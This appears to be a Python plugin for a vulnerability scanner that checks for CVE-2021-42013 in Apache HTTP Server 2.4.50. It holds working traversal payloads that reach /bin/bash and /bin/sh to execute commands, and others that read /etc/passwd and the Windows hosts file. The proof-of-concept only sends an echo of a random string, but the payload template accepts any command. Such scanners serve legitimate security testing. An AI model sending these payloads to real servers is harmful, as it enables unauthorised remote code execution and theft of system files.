#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
Apache HTTP Server 2.4.50 路径遍历
    CVE-2021-42013
        Payload: https://vulhub.org/#/environments/httpd/CVE-2021-42013/

CVE-2021-42013是CVE-2021-41773的绕过, 使用.%%32%65/
'''

from PluginManager import Vuln_Scan
from lib.tool.md5 import random_md5
from lib.tool import check

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            {
                'path': 'cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash',
                'data': 'echo;{RCECOMMAND}'
            },
            {
                'path': '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash',
                'data': 'echo;{RCECOMMAND}'
            },
            {
                'path': 'cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh',
                'data': 'echo;{RCECOMMAND}'
            },
            {
                'path': '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh',
                'data': 'echo;{RCECOMMAND}'
            },
            # * 无法RCE, 只能FileRead
            {
                'path': 'icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd',
                'data': ''
            },
            {
                'path': '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd',
                'data': ''
            },
            {
                'path': 'icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/C:/Windows/System32/drivers/etc/hosts',
                'data': ''
            },
            {
                'path': '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/C:/Windows/System32/drivers/etc/hosts',
                'data': ''
            }
        ]
    
    def POC(self, clients):
        hackClient = clients.get('hackClient')
        
        vul_info = {
            'app_name': 'ApacheHttpd',
            'vul_type': 'RCE/FileRead',
            'vul_id': 'CVE-2021-42013',
        }

        for payload in self.payloads:
            path = payload['path']
            data = payload['data']
            random_str = random_md5(6)                  # * 随机6位字符串

            if data:                                    # * 有POST数据则RCE, 否则为FileRead
                RCEcommand = 'echo ' + random_str
                data = data.format(RCECOMMAND=RCEcommand)
                
                res = hackClient.request(
                    'get',
                    path,
                    data=data,
                    vul_info=vul_info
                )
            else:
                res = hackClient.request(
                    'get',
                    path,
                    vul_info=vul_info
                )
            if res is None:
                continue

            if (
                (check.check_res(res.text, random_str))
                or (check.check_res_fileread(res.text))
            ):
                results = {
                    'Target': res.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request': res
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
